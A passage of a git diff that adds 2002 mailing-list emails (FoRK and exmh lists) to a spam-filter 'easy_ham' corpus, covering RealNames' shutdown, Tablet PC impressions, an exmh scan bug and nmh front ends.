+X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 31 Jul 2002 19:32:11 -0400 + +Um, you've confused RealAudio and RealNames. Bad bits. +Luis + +On Wed, 2002-07-31 at 18:28, Gregory Alan Bolcer wrote: +> This comment probably goes into better late than never but: +> I wonder if their decision to open source their code had +> anything to do with it. +> +> I've read through their asset sheet, but it doesn't say anything +> about their real assets--their customers. Anyone know if they +> have any left? +> +> Greg +> +> Jim Whitehead wrote: +> +> > Via Dave's Scripting News: +> > +> > http://www.theregister.co.uk/content/23/25245.html +> > +> > RealNames Corp., the VC-funded wheeze that promised to short-circuit the DNS +> > system by doing an exclusive deal with Microsoft, has announced that it will +> > cease trading as of today. +> > +> > RealNames' proposition was simple, and on the face of it, a no-brainer. Type +> > a real word or phrase into your browser and it would guide you to your +> > destination, bypassing all this cumbersome domain name business. A nice +> > idea, but one based on the assumption that people are fairly stupid, and +> > couldn't figure out that Comp USA's website might be say, CompUSA.com, and +> > that even if you mistook whitehouse.gov for whitehouse.org, you'd be unhappy +> > about the serendipitous diversion. +> > +> > *snip* +> > +> > Microsoft cancelled its contract with RealNames earlier this year, and as a +> > consequence - the company has no "Plan B" - it's now toast. +> > +> > - Jim +> > +> > +> > +> > http://xent.com/mailman/listinfo/fork +> > +> > +> +> +> -- +> Gregory Alan Bolcer, CTO | work: +1.949.833.2800 | gbolcer at endeavors.com +> Endeavors Technology, Inc. | cell: +1.714.928.5476 | http://endeavors.com +> +> +> +> +> +> +> +> +> +> http://xent.com/mailman/listinfo/fork +> +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00751.a0032491c92110b238d52c93ae977322 b/bayes/spamham/easy_ham_2/00751.a0032491c92110b238d52c93ae977322 new file mode 100644 index 0000000..9b4fa89 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00751.a0032491c92110b238d52c93ae977322 @@ -0,0 +1,109 @@ +From fork-admin@xent.com Thu Aug 1 00:44:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9D45A440E6 + for ; Wed, 31 Jul 2002 19:44:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 00:44:22 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6VNfP213477 for ; + Thu, 1 Aug 2002 00:41:27 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 17BD629413A; Wed, 31 Jul 2002 16:34:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from 10-0-0-223.boston.ximian.com (gateway.ximian.com + [141.154.95.125]) by xent.com (Postfix) with ESMTP id 9A32B294133 for + ; Wed, 31 Jul 2002 16:33:01 -0700 (PDT) +Received: (from louie@localhost) by 10-0-0-223.boston.ximian.com + (8.11.6/8.11.6) id g6VNWEW03519 for FoRK@xent.com; Wed, 31 Jul 2002 + 19:32:14 -0400 +X-Authentication-Warning: 10-0-0-223.boston.ximian.com: louie set sender + to louie@ximian.com using -f +Subject: Re: RealNames ceases trading +From: Luis Villa +To: FoRK +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +Organization: +Message-Id: <1028157061.3371.4.camel@10-0-0-223.boston.ximian.com> +MIME-Version: 1.0 +X-Mailer: Ximian Evolution 1.1.0.99 (Preview Release) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 31 Jul 2002 19:32:14 -0400 + +Um, you've confused RealAudio and RealNames. Bad bits. +Luis + +On Wed, 2002-07-31 at 18:28, Gregory Alan Bolcer wrote: +> This comment probably goes into better late than never but: +> I wonder if their decision to open source their code had +> anything to do with it. +> +> I've read through their asset sheet, but it doesn't say anything +> about their real assets--their customers. Anyone know if they +> have any left? +> +> Greg +> +> Jim Whitehead wrote: +> +> > Via Dave's Scripting News: +> > +> > http://www.theregister.co.uk/content/23/25245.html +> > +> > RealNames Corp., the VC-funded wheeze that promised to short-circuit the DNS +> > system by doing an exclusive deal with Microsoft, has announced that it will +> > cease trading as of today. +> > +> > RealNames' proposition was simple, and on the face of it, a no-brainer. Type +> > a real word or phrase into your browser and it would guide you to your +> > destination, bypassing all this cumbersome domain name business. A nice +> > idea, but one based on the assumption that people are fairly stupid, and +> > couldn't figure out that Comp USA's website might be say, CompUSA.com, and +> > that even if you mistook whitehouse.gov for whitehouse.org, you'd be unhappy +> > about the serendipitous diversion. +> > +> > *snip* +> > +> > Microsoft cancelled its contract with RealNames earlier this year, and as a +> > consequence - the company has no "Plan B" - it's now toast. +> > +> > - Jim +> > +> > +> > +> > http://xent.com/mailman/listinfo/fork +> > +> > +> +> +> -- +> Gregory Alan Bolcer, CTO | work: +1.949.833.2800 | gbolcer at endeavors.com +> Endeavors Technology, Inc. | cell: +1.714.928.5476 | http://endeavors.com +> +> +> +> +> +> +> +> +> +> http://xent.com/mailman/listinfo/fork +> +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00752.9d42af4f7e4f69a403ee8387742e3f08 b/bayes/spamham/easy_ham_2/00752.9d42af4f7e4f69a403ee8387742e3f08 new file mode 100644 index 0000000..0b4405f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00752.9d42af4f7e4f69a403ee8387742e3f08 @@ -0,0 +1,58 @@ +From fork-admin@xent.com Thu Aug 1 07:31:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 27DFB440A8 + for ; Thu, 1 Aug 2002 02:31:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 07:31:29 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g716NN200354 for ; + Thu, 1 Aug 2002 07:23:25 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id B023029414A; Wed, 31 Jul 2002 23:21:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from sccrmhc01.attbi.com (sccrmhc01.attbi.com [204.127.202.61]) + by xent.com (Postfix) with ESMTP id 28D4C294149 for ; + Wed, 31 Jul 2002 23:20:50 -0700 (PDT) +Received: from Intellistation ([66.31.2.27]) by sccrmhc01.attbi.com + (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id + <20020801062110.QVJE23732.sccrmhc01.attbi.com@Intellistation> for + ; Thu, 1 Aug 2002 06:21:10 +0000 +Content-Type: text/plain; charset="us-ascii" +From: Eirikur Hallgrimsson +Organization: Electric Brain +To: FoRK +Subject: Acopia Networks? +User-Agent: KMail/1.4.1 +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Message-Id: <200208010218.47244.eh@mad.scientist.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 1 Aug 2002 02:18:47 -0400 + +Yet another pre-interview query. I don't know a thing about them that +isn't on their mostly-uninformative web site. Charles River Ventures led +a $10 million round of financing in January of this year. + +One of their techie founders wrote a paper on a protocol to allow +out-of-order image chunk delivery for image types that can be rendered +that way. + +Eirikur + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00753.373de9a53cc7e59ebf91f4e27099799b b/bayes/spamham/easy_ham_2/00753.373de9a53cc7e59ebf91f4e27099799b new file mode 100644 index 0000000..3bab39a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00753.373de9a53cc7e59ebf91f4e27099799b @@ -0,0 +1,56 @@ +From fork-admin@xent.com Mon Jul 15 21:14:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by netnoteinc.com (Postfix) with ESMTP id 6A56D43F9E + for ; Mon, 15 Jul 2002 16:14:47 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 15 Jul 2002 21:14:47 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6FKAxJ03284 for ; + Mon, 15 Jul 2002 21:10:59 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id E861B2940B5; Mon, 15 Jul 2002 13:00:15 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from cats.ucsc.edu (cats-mx2.ucsc.edu [128.114.129.35]) by + xent.com (Postfix) with ESMTP id E0568294098 for ; + Mon, 15 Jul 2002 13:00:13 -0700 (PDT) +Received: from Tycho (dhcp-63-177.cse.ucsc.edu [128.114.63.177]) by + cats.ucsc.edu (8.10.1/8.10.1) with SMTP id g6FK9Gi21617 for + ; Mon, 15 Jul 2002 13:09:17 -0700 (PDT) +From: "Jim Whitehead" +To: "FoRK" +Subject: Project Battuta: Geospatial data in the field +Date: Mon, 15 Jul 2002 13:07:37 -0700 +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 +Importance: Normal +X-Ucsc-Cats-Mailscanner: Found to be clean +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org + +Interesting project involving geospatial data for mostly governmental uses. +They have a deep understanding of geospatial data needs for several +government agencies. The project infrastructure is centralized, and has been +used in the field on several projects. + +http://dg.statlab.iastate.edu/dg/research/ + +- Jim + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00754.7ef282943b46f61c8453c38e45124ae2 b/bayes/spamham/easy_ham_2/00754.7ef282943b46f61c8453c38e45124ae2 new file mode 100644 index 0000000..bb8d3e9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00754.7ef282943b46f61c8453c38e45124ae2 @@ -0,0 +1,132 @@ +From exmh-workers-admin@redhat.com Thu Aug 1 19:24:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D4D59440F0 + for ; Thu, 1 Aug 2002 14:24:30 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 19:24:30 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71IHd225746 for + ; Thu, 1 Aug 2002 19:17:39 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 968953FDE3; Thu, 1 Aug 2002 + 14:16:38 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id A1AF73F34C + for ; Thu, 1 Aug 2002 14:10:00 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g71IA0l08009 for exmh-workers@listman.redhat.com; Thu, 1 Aug 2002 + 14:10:00 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g71I9xq08004 for + ; Thu, 1 Aug 2002 14:09:59 -0400 +Received: from austin-jump.vircio.com + (IDENT:04hTPCPVi5pHxo9U9QSQimEaX/V0ogFD@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g71HvVl30392 + for ; Thu, 1 Aug 2002 13:57:31 -0400 +Received: (qmail 8388 invoked by uid 104); 1 Aug 2002 18:09:59 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4215. . Clean. Processed in 0.3188 + secs); 01/08/2002 13:09:58 +Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 1 Aug 2002 18:09:58 -0000 +Received: (qmail 7942 invoked from network); 1 Aug 2002 18:09:57 -0000 +Received: from localhost (HELO deepeddy.vircio.com) ([127.0.0.1]) + (envelope-sender ) by localhost (qmail-ldap-1.03) + with SMTP for ; 1 Aug 2002 18:09:57 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Brent Welch , exmh-workers@spamassassin.taint.org +Subject: Re: scan bug: no update after Pick's "New FTOC" +In-Reply-To: <1028214066.14545.TMDA@deepeddy.vircio.com> +References: <200208010450.AAA07420@blackcomb.panasas.com> + <1028214066.14545.TMDA@deepeddy.vircio.com> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_2077566172P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1028225397.7935.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Thu, 01 Aug 2002 13:09:56 -0500 + +--==_Exmh_2077566172P +Content-Type: text/plain; charset=us-ascii + +> From: Chris Garrigues +> Date: Thu, 01 Aug 2002 10:01:04 -0500 +> +> > If you run Pick, and then use the "New FTOC" button to show only +> > those messages selected by pick, then the ftoc display was considered +> > "invalid" in the old code. This prevented the display from being cached, +> > and it meant that you could get back to the full folder display by +> > clicking on the folder lablel. That doesn't work anymore. You have +> > to resort to Rescan Folder. In fact, when you change folders you +> > continue to have the Pick results, not the new folder contents. +> > If you go to a any folder and do Rescan, then it heals itself. +> +> Well, that's obviously my fault. Okay, will look when I get a chance. + +My copy of the tree right now is full of organizational changes in +preparation for generalizing the unseen window for display of other +sequences, so I'll probably not check in a fix for this until I +stabilize that. + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_2077566172P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9SXl0K9b4h5R0IUIRAsr/AJ96ydWWdsjfZ7fqVwq7TJ4ggAvMagCeOV0a +HEX6F2zWp6uFZMRim5GKcpY= +=c2hQ +-----END PGP SIGNATURE----- + +--==_Exmh_2077566172P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00755.6ca22fe516192bac1845392406ff918d b/bayes/spamham/easy_ham_2/00755.6ca22fe516192bac1845392406ff918d new file mode 100644 index 0000000..1958fe2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00755.6ca22fe516192bac1845392406ff918d @@ -0,0 +1,76 @@ +From fork-admin@xent.com Thu Aug 1 18:43:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 88982440F3 + for ; Thu, 1 Aug 2002 13:43:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 18:43:28 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g71Hfj224525 for ; + Thu, 1 Aug 2002 18:41:47 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id E242F2940EF; Thu, 1 Aug 2002 10:39:02 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from cats.ucsc.edu (cats-mx2.ucsc.edu [128.114.129.35]) by + xent.com (Postfix) with ESMTP id 247542940A9 for ; + Thu, 1 Aug 2002 10:38:17 -0700 (PDT) +Received: from Tycho (dhcp-63-177.cse.ucsc.edu [128.114.63.177]) by + cats.ucsc.edu (8.10.1/8.10.1) with SMTP id g71HcK017409 for + ; Thu, 1 Aug 2002 10:38:21 -0700 (PDT) +From: "Jim Whitehead" +To: "FoRK" +Subject: Tablet PC +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 +Importance: Normal +X-Ucsc-Cats-Mailscanner: Found to be clean +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 1 Aug 2002 10:36:32 -0700 + +Last week I had a chance to see some TabletPC's demonstrated, and I was very +impressed. + +* Handwriting recognition was good, as was the ability to parse text from +diagrammatic or graphic elements. +* TabletPC form factors, while not perfect, are quite usable (light, +relatively thin, some can convert from laptop to tablet use by flipping the +screen). +* Pushbutton switching between portrait and landscape screen orientation. +* TabletPCs I saw came with built-in WiFi. +* Good to very good integration of handwriting into existing applications, +and there is a very nice new note-taking application specifically for +handwritten notes. +* Good set of APIs for adding handwriting into existing applications (at the +most simple, it's only a few additional lines of code) +* Prices of the hardware will be around mid-range laptop (will vary by +model) + +I believe the TabletPC will be very successful, and is a much bigger deal +than the relative lack of press coverage would suggest. I'm definitely +starting to think about how I could incorporate one into my routine... + +- Jim + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00756.2b2ec73ad20a4e0bdf31632ac019233b b/bayes/spamham/easy_ham_2/00756.2b2ec73ad20a4e0bdf31632ac019233b new file mode 100644 index 0000000..f1337f3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00756.2b2ec73ad20a4e0bdf31632ac019233b @@ -0,0 +1,57 @@ +From fork-admin@xent.com Thu Aug 1 18:53:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 61D4D440F0 + for ; Thu, 1 Aug 2002 13:53:48 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 18:53:48 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g71Hmu224775 for ; + Thu, 1 Aug 2002 18:48:58 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 350DA294151; Thu, 1 Aug 2002 10:41:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from cats.ucsc.edu (cats-mx2.ucsc.edu [128.114.129.35]) by + xent.com (Postfix) with ESMTP id 9E9F2294109 for ; + Thu, 1 Aug 2002 10:40:31 -0700 (PDT) +Received: from Tycho (dhcp-63-177.cse.ucsc.edu [128.114.63.177]) by + cats.ucsc.edu (8.10.1/8.10.1) with SMTP id g71Hec017748 for + ; Thu, 1 Aug 2002 10:40:38 -0700 (PDT) +From: "Jim Whitehead" +To: "FoRK" +Subject: RE: Tablet PC +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 +In-Reply-To: +Importance: Normal +X-Ucsc-Cats-Mailscanner: Found to be clean +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 1 Aug 2002 10:38:50 -0700 + +Oh yeah, the link for more info: + +http://www.microsoft.com/windowsxp/tabletpc/default.asp + +- Jim +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00757.7aeba72e6fd31d31196843f3238197b5 b/bayes/spamham/easy_ham_2/00757.7aeba72e6fd31d31196843f3238197b5 new file mode 100644 index 0000000..1bc24f0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00757.7aeba72e6fd31d31196843f3238197b5 @@ -0,0 +1,76 @@ +From exmh-users-admin@redhat.com Tue Aug 6 11:42:26 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 15CA4441CD + for ; Tue, 6 Aug 2002 06:41:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:41:07 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g761gWk08761 for + ; Tue, 6 Aug 2002 02:42:33 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 413BC3F228; Mon, 5 Aug 2002 + 21:41:02 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 5FC9E3EAF0 + for ; Mon, 5 Aug 2002 21:40:05 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g761e4e28766 for exmh-users@listman.redhat.com; Mon, 5 Aug 2002 + 21:40:04 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g761e4q28762 for + ; Mon, 5 Aug 2002 21:40:04 -0400 +Received: from whatexit.org (postfix@whatexit.org [64.7.3.122]) by + mx1.redhat.com (8.11.6/8.11.6) with SMTP id g761RCl28460 for + ; Mon, 5 Aug 2002 21:27:12 -0400 +Received: from joisey.whatexit.org (localhost [127.0.0.1]) by whatexit.org + (Postfix) with ESMTP id 48D429E for ; + Mon, 5 Aug 2002 21:40:00 -0400 (EDT) +To: exmh-users@spamassassin.taint.org +Subject: curses interface to nmh +From: Tom Reingold +X-Mailer: exmh version 2.5 07/13/2001 +X-Uri: http://whatexit.org/~tommy +X-Image-Url: http://whatexit.org/~tommy/zombie.gif +In-Reply-To: Message from pll@lanminds.com of Fri, 26 Jul 2002 10:06:41 + EDT <200207252206.g6PM6lFw021279@fsck.intern.waldner.priv.at> + <20020726140641.72641F6EB@tater> +Message-Id: <20020806014000.48D429E@whatexit.org> +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Mon, 05 Aug 2002 21:39:59 -0400 + + +On Fri, 26 Jul 2002 10:06:41 EDT, + pll@lanminds.com wrote: + +> [...]Unless someone writes a really neat curses based +> interface to ride on top of nmh :) + +Years ago, there was a package called mh-e which was an emacs interface +to MH. I don't know if it's still around or works. But it's an idea. + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + + diff --git a/bayes/spamham/easy_ham_2/00758.194febdefd4966975123ed1e472b4db4 b/bayes/spamham/easy_ham_2/00758.194febdefd4966975123ed1e472b4db4 new file mode 100644 index 0000000..072e17a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00758.194febdefd4966975123ed1e472b4db4 @@ -0,0 +1,82 @@ +From exmh-users-admin@redhat.com Tue Aug 6 11:43:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B6E99441CE + for ; Tue, 6 Aug 2002 06:41:38 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:41:38 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g762gYk10155 for + ; Tue, 6 Aug 2002 03:42:34 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 7A9343EA94; Mon, 5 Aug 2002 + 22:41:01 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 5877F3EA03 + for ; Mon, 5 Aug 2002 22:40:11 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g762eAO04287 for exmh-users@listman.redhat.com; Mon, 5 Aug 2002 + 22:40:10 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g762eAq04283 for + ; Mon, 5 Aug 2002 22:40:10 -0400 +Received: from peterson.ath.cx (12-254-245-65.client.attbi.com + [12.254.245.65]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id + g762RIl06346 for ; Mon, 5 Aug 2002 22:27:18 -0400 +Received: from localhost (localhost [127.0.0.1]) by peterson.ath.cx + (Postfix) with ESMTP id F3966AB062 for ; + Mon, 5 Aug 2002 20:40:18 -0600 (MDT) +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +From: "Jan L. Peterson" +To: exmh-users@spamassassin.taint.org +Subject: Re: curses interface to nmh +X-Face: p=61=y<.Il$z+k*y~"j>%c[8R~8{j3WTnaSd-'RyC>t.Ub>AAm\zYA#5JF + +W=G?EI+|EI);]=fs_MOfKN0n9`OlmB[1^0;L^64K5][nOb&gv/n}p@mm06|J|WNa + asp7mMEw0w)e_6T~7v-\]yHKvI^1}[2k)] +References: <20020806014000.48D429E@whatexit.org> +In-Reply-To: Your message of + "Mon, 05 Aug 2002 21:39:59 EDT." + <20020806014000.48D429E@whatexit.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Message-Id: <20020806024019.F3966AB062@peterson.ath.cx> +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Mon, 05 Aug 2002 20:40:18 -0600 + +There was also an interface called plum, but I was never able to get it +to work on the platform I was using in those days (SGI). Since plum +was written for perl4, it would probably need a major overhaul to work +well with modern Perl. It's pretty ugly code, too, being written by +Tom Christiansen. :-) + + -jan- +-- +Jan L. Peterson + + + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + + diff --git 